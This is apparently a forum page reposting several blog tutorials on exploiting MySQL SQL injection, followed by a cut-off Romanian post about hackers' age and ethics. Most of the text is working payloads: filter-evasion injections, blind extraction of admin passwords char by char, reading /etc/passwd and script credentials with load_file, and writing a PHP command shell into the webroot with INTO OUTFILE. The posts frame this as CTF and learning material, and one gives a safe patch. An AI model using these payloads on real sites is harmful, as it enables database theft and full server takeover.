'repetition-operator operand invalid' from regexp 1SELECT 1 REGEXP 'a{1,1,1}' 2Got error 'invalid repetition count(s)' from regexp This can be used to build conditional errors loading an incorrect regular expression depending on our statement. The following injection will check if the MySQL version is 5 or not: 1?id=(select(1)rlike(case(substr(@@version,1,1)=5)when(true)then(0x28)else(1)end)) If the condition is true a incorrect hex encoded regular expression is evaluated and an error is thrown. But in this case we could also have used a subselect error as above if we know a table name. Now consider a similar filter introduced in my previous post: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(into|file)/i', $id)) 12 exit('attack'); // no file operation 13if(preg_match('/(benchmark|sleep)/i', $id)) 14 exit('attack'); // no timing The first highlighted filter avoids using the known conditional error because we can not use subselects. The last two highlighted filters prevents us from using time delays or files as a side channel. However the new technique with REGEXP does not need a SELECT to trigger a conditional error because we inject into a WHERE statement and MySQL allows a comparison of three operands: 1?id=(1)rlike(if(mid(@@version,1,1)like(5),0x28,1)) If the first char of the version is ’5? then the regex ‘(‘ will be compared to 1 and an error occurs because of unbalanced parenthesis. Otherwise the regex ’1? will be evaluated correctly and no error occurs. Again we have everything we need to retrieve data from the database and to have fun with regex filter evasions by regex errors. More: Part 1, Part 3, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections 2 (conditional errors) « Reiners’ Weblog
-
Exploiting hard filtered SQL Injections While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance. For the following examples I’ll use this basic vulnerable PHP script: 01<?php 02// DB connection 03 04$id = $_GET['id']; 05$pass = mysql_real_escape_string($_GET['pass']); 06 07$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); 08 09if($data = @mysql_fetch_array($result)) 10 echo "Welcome ${data['name']}"; 11?> Note: the webapplication displays only the name of the first row of the sql resultset. Warmup Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability: 1?id=1 and 1=0-- - 1?id=1 and 1=1-- - You also might want to see all usernames by iterating through limit (x): 1?id=1 or 1=1 LIMIT x,1-- - But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area. So you would like to know what the table and column names are and you try the following: 1?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- - 1?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- - After you have found interesting tables and its column names you can start to extract data. 1?id=1 and 1=0 union select null,password,null from users limit 1,1-- - Ok thats enough for warming up. Whitespaces, quotes and slashes filtered Of course things aren’t that easy most time. Now consider the following filter for some extra characters: 1if(preg_match('/\s/', $id)) 2 exit('attack'); // no whitespaces 3if(preg_match('/[\'"]/', $id)) 4 exit('attack'); // no quotes 5if(preg_match('/[\/\\\\]/', $id)) 6 exit('attack'); // no slashes As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often). 1?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -) Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability). 1?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))# Instead of a quoted string we can use the SQL hex representation of the found table name: 1?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))# Nice. Basic keywords filtered Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”: 1if(preg_match('/\s/', $id)) 2 exit('attack'); // no whitespaces 3if(preg_match('/[\'"]/', $id)) 4 exit('attack'); // no quotes 5if(preg_match('/[\/\\\\]/', $id)) 6 exit('attack'); // no slashes 7if(preg_match('/(and|null|where|limit)/i', $id)) 8 exit('attack'); // no sqli keywords For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result: 1?id=1# 1?id=2-1# To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have: 1?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))# 1?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))# This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars. WHERE alternative The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING. First we have a look which databases are available: 1?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))# This will definitely fit into 1024 chars, but you can also use database() to get the current database name: 1?id=(0)union(select(0),database(),(0))# Lets assume your database name is “test” which hex representation is “0×74657374?. Then we can use HAVING to get all table names associated with the database “test” without using WHERE: 1?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))# Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result: 1?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))# We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))# Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step. intermediate result What do we need for our injections so far? keywords: “union”, “select”, “from”,”having” characters: (),._# (& or “and”) String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))# advanced keyword filtering Now its getting difficult. The filter also checks for all keywords previously needed: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|where|limit)/i', $id)) 08 exit('attack'); // no sqli keywords 09if(preg_match('/(union|select|from|having)/i', $id)) 10 exit('attack'); // no sqli keywords What option do we have left? If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file(). First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list: 1?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1)) This will return the length of the file content or – if the file could not be read – a “1? and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char: 1?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end) (while $char is the character in sql hex which is compared to the current character of the file at offset $x) We bypassed the filter but it requires the FILE privilege. filtering everything Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(group|order|having|limit)/i', $id)) 12 exit('attack'); // no sqli select keywords 13if(preg_match('/(into|file|case)/i', $id)) 14 exit('attack'); // no sqli operators 15if(preg_match('/(--|#|\/\*)/', $id)) 16 exit('attack'); // no sqli comments The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left? We cant use procedure analyse() because it needs a space and we cant use the ’1?%’0? trick. Basically we only have special characters left, but that is often all we need. We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}. So how do we access them blindly? A usual blind SQLi would look like the following: 1?id=(case when(mid(pass,1,1)='a') then 1 else 0 end) This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’: 1?id=1&&mid(pass,1,1)=(0x61);%00 We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids: 1?id=2&&mid(pass,1,1)=(0x61);%00 1?id=3&&mid(pass,1,1)=(0x61);%00 Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like: 1?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00 The first attempt could be: 1?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 That does not work because the “OR 1=1? at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1? at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s: 1?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter. filtering everything and even more What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”. 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(group|order|having|limit)/i', $id)) 12 exit('attack'); // no sqli select keywords 13if(preg_match('/(into|file|case)/i', $id)) 14 exit('attack'); // no sqli operators 15if(preg_match('/(--|#|\/\*)/', $id)) 16 exit('attack'); // no sqli comments 17if(preg_match('/(=|&|\|)/', $id)) 18 exit('attack'); // no boolean operators Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.: 1?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00 The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators? After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’: 1?id=if((name)like(0x61646D696E),1,0);%00 This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1: 1?id=if((name)like(0x61646D696E),id,0);%00 Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection: 1?id= 2if( 3 // if (it gets true if the name='admin') 4 if((name)like(0x61646D696E),1,0), 5 // then (if first password char='a' return admin id, else 0) 6 if(mid((password),1,1)like(0x61),id,0), 7 // else (return 0) 8 0 9);%00 Injection in one line: 1?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00 Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet! Conclusion (My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time. If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ? Edit: Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query. Here is a safe patch for the example: 1$id = (int) $_GET['id']; 2$pass = mysql_real_escape_string($_GET['pass']); 3$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); For more details have a look at the comments. More: Part2, Part 3, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections « Reiners’ Weblog
-
- 1
-
-
MySQL table and column names (update 2) Yesterday Paic posted a new comment about another idea for retrieving column names under MySQL. He found a clever way to get column names through MySQL error messages based on a trick I posted on my first article about MySQL table and column names. Here I used the modular operation ’1?%’0? in an injection after a WHERE clause, to provoke a MySQL error containing the column name used in the WHERE clause. But for now I couldnt expand this to other columns not used in the WHERE clause. Paic found a cool way with “row subqueries”. He explains the scenario pretty well, so I will just quote his comment: I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name. It is using the 1%0 trick and MySQL subqueries. I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries” You’d better read this in order to understand what’s next: MySQL :: MySQL 5.0 Reference Manual :: 12.2.9.5 Row Subqueries The hint is “The row constructor and the row returned by the subquery must contain the same number of values.” Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name. The sql query is expecting only one row as result. Here is our input: ‘ AND (SELECT * FROM USER_TABLE) = (1)– - MySQL answer: “Operand should contain 7 column(s)” MySQL told us that the table USER_TABLE has 7 columns! That’s great! Now we can use the UNION and 1%0 to retrieve some column’s name: The following query shouldn’t give you any error: ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1)– - Now let’s try with the first colum, simply add %0 to the first column in the UNION: ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)– - MySQL answer: “Column ‘usr_u_id’ cannot be null” We’ve got the first column name: “usr_u_id” Then we proceed with the other columns… Example with the 4th column: ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1)– - if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name! So remember: this does only work if the column types have the parameter “NOT NULL” and if you know the table name. Additionally, this behavior has been fixed in MySQL 5.1. Obviously it was a bug because the error message should only appear if you try to insert “nothing” in a column marked with “NOT NULL” instead of selecting. Btw other mathematical operations like “1/0? or just “null” does not work, at least I couldn’t find any other. For ’1?%’0? you can also use mod(’1?,’0?). Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice update: you can find some more information here. More: update1 Sursa: MySQL table and column names (update 2) « Reiners’ Weblog
-
MySQL table and column names Getting the table and column names within a SQL injection attack is often a problem and I’ve seen a lot of questions about this on the internet. Often you need them to start further SQLi attacks to get the data. So this article shows you how I would try to get the data in different scenarios on MySQL. For other databases I recommend the extensive cheat sheets from pentestmonkey. Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only. For the following injections I’ll assume you understand the basics of SQL injection and union select. My injections are written for a SELECT query with two columns, however don’t forget to add nulls in the right amount. 1. The information_schema table 1.a. Read information_schema table normally Sometimes on MySQL >=5.0 you can access the information_schema table. So you may want to check which MySQL version is running: 0? UNION SELECT version(),null /* or: 0? UNION SELECT @@version,null /* Once you know which version is running, proceed with these steps (MySQL >= 5.0) or jump to the next point. You can either get the names step by step or at once. First, get the tablenames: 0? UNION SELECT table_name,null FROM information_schema.tables WHERE version = ’9 Note that version=9 has nothing to do with the MySQL version. It’s just an unique identifier for user generated tables, so leave as it is to ignore MySQL system table names. update: Testing another MySQL version (5.0.51a) I noticed that the version is “10? for user generated tables. so dont worry if you dont get any results. instead of the unique identifier you can also use “LIMIT offset,amount”. Second, get the columnnames: 0? UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename Or with one injection: 0? UNION SELECT column_name,table_name FROM information_schema.columns /* Unfortunetly there is no unique identifier, so you have to scroll through the whole information_schema table if you use this. If the webapplication is designed to output only the first line of the resultset you can use LIMIT x,1 (starting with x=0) to iterate your result line by line. 0? UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 3,1 Also, you can use group_concat() to concatenate all table/column names to one string and therefore also return only one line: 0? UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = ‘tablename Once you know all table names and column names you can union select all the data you need. For more details about the information_schema table see the MySQL Documentation Library. There you’ll find other interesting columns you can add instead of null, for example data_type. Ok, that was the easiest part. 1.b. Read information_schema table blindly Sometimes you can’t see the output of your request, however there are some techniques to get the info blindly, called Blind SQL Injection. I’ll assume you know the basics. However, make sure you really need to use blind injection. Often you just have to make sure the actual result returns null and the output of your injection gets processed by the mysql_functions instead. Use something like AND 1=0 to make sure the actual output is null and then append your union select to get your data, for example: 1? AND 1=0 UNION SELECT @@version,null /* If you really need blind SQL injection we’ll go through the same steps as above, so first we try to get the version: 1?AND MID(version(),1,1) like ’4 The request will be successfull and the same page will be displayed like as we did no injection if the version starts with “4?. If not, I’ll guess the server is running MySQL 5. Check it out: 1?AND MID(version(),1,1) like ’5 Always remember to put a value before the actual injection which would give “normal” output. If the output does not differ, no matter what you’ll inject try some benchmark tests: 1? UNION SELECT (if(mid(version(),1,1) like 4, benchmark(100000,sha1(‘test’)), ‘false’)),null /* But be careful with the benchmark values, you dont want to crash your browser . I’d suggest you to try some values first to get a acceptable response time. Once we know the version number you can proceed with these steps (MySQL >= 5.0) or jump to the next point. Since we cant read out the table name we have to brute it. Yes, that can be annoying, but who said it would be easy? We’ll use the same injection as in 1.), but now with blind injection technique: 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),1,1) > ‘m Again, this will check if the first letter of our first table is alphabetically located behind “m”. As stated above, version=9 has nothing to do with the MySQL version number and is used here to fetch only user generated tables. Once you got the right letter, move on to the next: 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),2,1) > ‘m And so on. If you got the tablename you can brute its columns. This works as the same principle: 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),1,1) > ‘m 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),2,1) > ‘m 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),3,1) > ‘m And so on. To check the next name, just skip the first bruted tablename with LIMIT (see comments for more details about the index): 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1,1),1,1) > ‘m Or columnname: 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1,1),1,1) > ‘m Sometimes it also makes sense to check the length of the name first, so maybe you can guess it easier the more letters you reveal. Check for the tablename: 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),6,1)=’ Or for the column name: 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),6,1)=’ Both injections check if the sixth letter is not empty. If it is, and the fifth letter exists, you know the name is 5 letters long. Since we know that the information_schema table has 33 entries by default we can also check out how many user generated tables exist. That means that every entry more than 33 is a table created by a user. If the following succeeds, it means that there is one user generated table: 1? AND 34=(SELECT COUNT(*) FROM information_schema.tables)/* There are two tables if the following is true: 1? AND 35=(SELECT COUNT(*) FROM information_schema.tables)/* And so on. 2. You don’t have access to information_schema table If you don’t have access to the information_schema table (default) or hit a MySQL version < 5.0 it’s quite difficult on MySQL. There is only one error message I could find that reveals a name: 1?%’0 Query failed: Column ‘id’ cannot be null But that doesnt give you info on other column or table names and only works if you can access error messages. However, it could make guessing the other names easier. If you don’t want to use a bruteforce tool we will have to use load_file. But that will require that you can see the output of course. “To use this function, the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.” You can read out max_allowed_packet on MySQL 5 0? UNION SELECT @@max_allowed_packet,null /* Mostly you’ll find the standard value 1047552 (Byte). Note that load_file always starts to look in the datadir. You can read out the datadir with: 0? UNION SELECT @@datadir,null /* So if your datadir is /var/lib/mysql for example, load_file(‘file.txt’) will look for /var/lib/mysql/file.txt. 2.a. Read the script file Now, the first thing I would try is to load the actual script file. This not only gives you the exact query with all table and column names, but also the database connection credentials. A file read could look like this: 0? UNION SELECT load_file(‘../../../../Apache/htdocs/path/file.php’),null /* (Windows) 0? UNION SELECT load_file(‘../../../var/www/path/file.php’),null /* (Linux) The amount of directories you have to jump back with ../ is the amount of directories the datadir path has. After that follows the webserver path. All about file privileges and webserver path can be found in my article about into outfile. Once you got the script you can also use into outfile combined with OR 1=1 to write the whole output to a file or to set up a little PHP script on the target webserver which reads out the whole database (or the information you want) for you. 2. Read the database file On MySQL 4 and 5 you can also use load_file to get the table content. The database files are usually stored in @@datadir/databasename/ Take a look at step 2. how to get the datadir. An injection we need to read the database content looks like this: 0? UNION SELECT load_file(‘databasename/tablename.MYD’),null /* As you can see we need the databasename and tablename first. The databasename is easy: 0? UNION SELECT database(),null /* The table name is the hard part. Actually you can only guess or bruteforce it with a good wordlist and something like: 0? UNION SELECT ‘success’,null FROM testname /* This will throw an error if testname does not exists, or display “success” if tablename testname exists. If you try to guess the name, have a look at all errors, vars and html sources you can get to get an idea of how they could have named the table / columns. Often it is not as difficult as it seems first. You can find a small wordlist for common tablenames here (by Raz0r) and here. Also note that the file loaded with load_file() must be smaller than max_allowed_packet so this wont work on huge database files, because the standard value is ~1 MB which will suffice for only about 100.000 entries (if my calculation is right ) (2.c. Compromising the server) There are no other ways to get the data as far as I know, except of compromising the server via MySQL into outfile or with other techniques which are beyond the scope of this article (e.g. LFI). If you do have any other clever ways I don’t know of or feel I’m in error on some facts, PLEASE contact me. UPDATE: have a look at this post about PROCEDURE ANALYSE to get the names of the database, table and columns which are used by the query you are injecting to. UPDATE2: also have a look at this post. Sursa: MySQL table and column names « Reiners’ Weblog
-
MySQL into outfile This article will be about into outfile, a pretty useful feature of MySQL for SQLi attackers. We will take a look at the FILE privilege and the web directory problem first and then think about some useful files we could write on the webserver. Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only. As in the previous articles I’ll assume you know the basics about SQL injection and union select. 1.) The FILE privilege If we want to read or write to files we have to have the FILE privilege. Lets find out which database user we are first: 0? UNION SELECT current_user,null /* or: 0? UNION SELECT user(),null /* This will give us the username@server. We’re just interested in the username by now. You can also use the following blind SQL injections if you cant access the output of the query. Guess a name: 1? AND user() LIKE ‘root Brute the name letter by letter: 1? AND MID((user()),1,1)>’m 1? AND MID((user()),2,1)>’m 1? AND MID((user()),3,1)>’m … Once we know the current username we can check the FILE privilege for this user. First we try to access the mysql.user table (MySQL 4/5): 0? UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection: 1? AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y (one column only, do not add nulls here, it’s not a union select) You can also recieve the FILE privilege info from the information.schema table on MySQL 5: 0? UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username% blindly: 1? AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y If you can’t access the mysql.user or information_schema table (default) just go ahead with the next steps and just try. If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE. 2.) The web directory problem Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory. On MySQL 4 we can get an error message displaying the datadir: 0? UNION SELECT load_file(‘a’),null/* On MySQL 5 we use: 0? UNION SELECT @@datadir,null/* The default path for file writing then is datadir\databasename. You can figure out the databasename with: 0? UNION SELECT database(),null/* Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir. If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like: Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx To provoke an error like this try something like: 0? AND 1=’0 This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path: /etc/init.d/apache /etc/init.d/apache2 /etc/httpd/httpd.conf /etc/apache/apache.conf /etc/apache/httpd.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /opt/apache/conf/httpd.conf /home/apache/httpd.conf /home/apache/conf/httpd.conf /etc/apache2/sites-available/default /etc/apache2/vhosts.d/default_vhost.include Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out: 0? UNION SELECT @@version,null /* -nt-log at the end means it’s a windows box, -log only means it’s *nix box. Or take a look at the paths in error messages or at the header. Typical web directories to guess could be: /var/www/html/ /var/www/web1/html/ /var/www/sitename/htdocs/ /var/www/localhost/htdocs /var/www/vhosts/sitename/httpdocs/ Use google to get some more ideas. Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access. 3.) create useful files Once you figured out the right directory you can select data and write it into a file with: 0? UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt (How to figure out column/table names, see my article about MySQL table and column names) Or the whole data without knowing the table/column names: 1? OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE. You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace. 0? AND 1=0 UNION SELECT load_file(‘…’) INTO OUTFILE ‘… In some cases I’d recommend to use 0? AND 1=0 UNION SELECT hex(load_file(‘…’)) INTO OUTFILE ‘… and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files. Or you can write whatever you want into a file: 0? AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php Here are some useful code examples: // PHP SHELL <? system($_GET['c']); ?> This is a very simple one. You can find more complex ones (including file browsing and so on) on the internet. Note that the PHP safe_mode must be turned off. Depending on OS and PHP version you can bypass the safe_mode sometimes. // webserver info Gain a lot of information about the webserver configuration with: <? phpinfo(); ?> // SQL QUERY <? ... $result = mysql_query($_GET['query']); ... ?> Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect. At the end some notes regarding INTO OUTFILE: you can’t overwrite files with INTO OUTFILE INTO OUTFILE must be the last statement in the query there is no way I know of to encode the pathname, so quotes are required you can encode your code with char() If you have any other clever tricks or feel I’m in error on some facts, PLEASE leave a comment or contact me. SURSA: MySQL into outfile « Reiners’ Weblog
-
Am uitat sa specific cate ceva legat de teorema: "Hackerii sunt tineri". Pe scurt e falsa. Da, daca iei "hacker" in sensul mass-media, atunci da, hackerii sunt persoane tinere. Dar tind mult spre script-kiddism. Foarte mult. Doar nu te astepti ca o persoana de 14 ani sa gaseasca o modalitate de a incarca un driver printr-un cod in assembler non-API (exemplu aiurea) sau mai stiu eu ce. Da, se intampla si ca persoane foarte tinere sa aiba idei foarte bune, idei geniale si sa decopere lucruri noi, dar asta se intampla extrem de rar. Hacker in sensul in care vad eu acest atribut, e o persoana trecuta prin viata, care a petrecut mai mult de 2 ore incercand sa invete CUM se intampla anumite lucruri, sa le inteleaga, apoi sa poata reusi sa faca bypass la un mecanism de securitate de exemplu. Pe langa timpul petrecut invatand si explorand, o persoana mai "in varsta" are ceva extrem de important: o etica foarte dezvoltata. Da, spargi un site la 15 ani sa te lauzi prietenilor, dar la 30 de ani deja ti se pare o mare prostie, o copilarie, si chiar daca ti-ar fi extrem de usor sa faci asta, nu o sa o faci pentru ca nu ti se pare ceva destul de complicat pentru tine (experienta vine in timp). Si vei incerca sa faci lucruri mult mai complicate, insa acele lucruri nu vor aparea in mass-media, pentru ca acestia se adreseaza persoanelor de rand, persoane care nu stiu de exemplu care e arhitectura unui sistem de operare si care nu o sa inteleaga cum sta 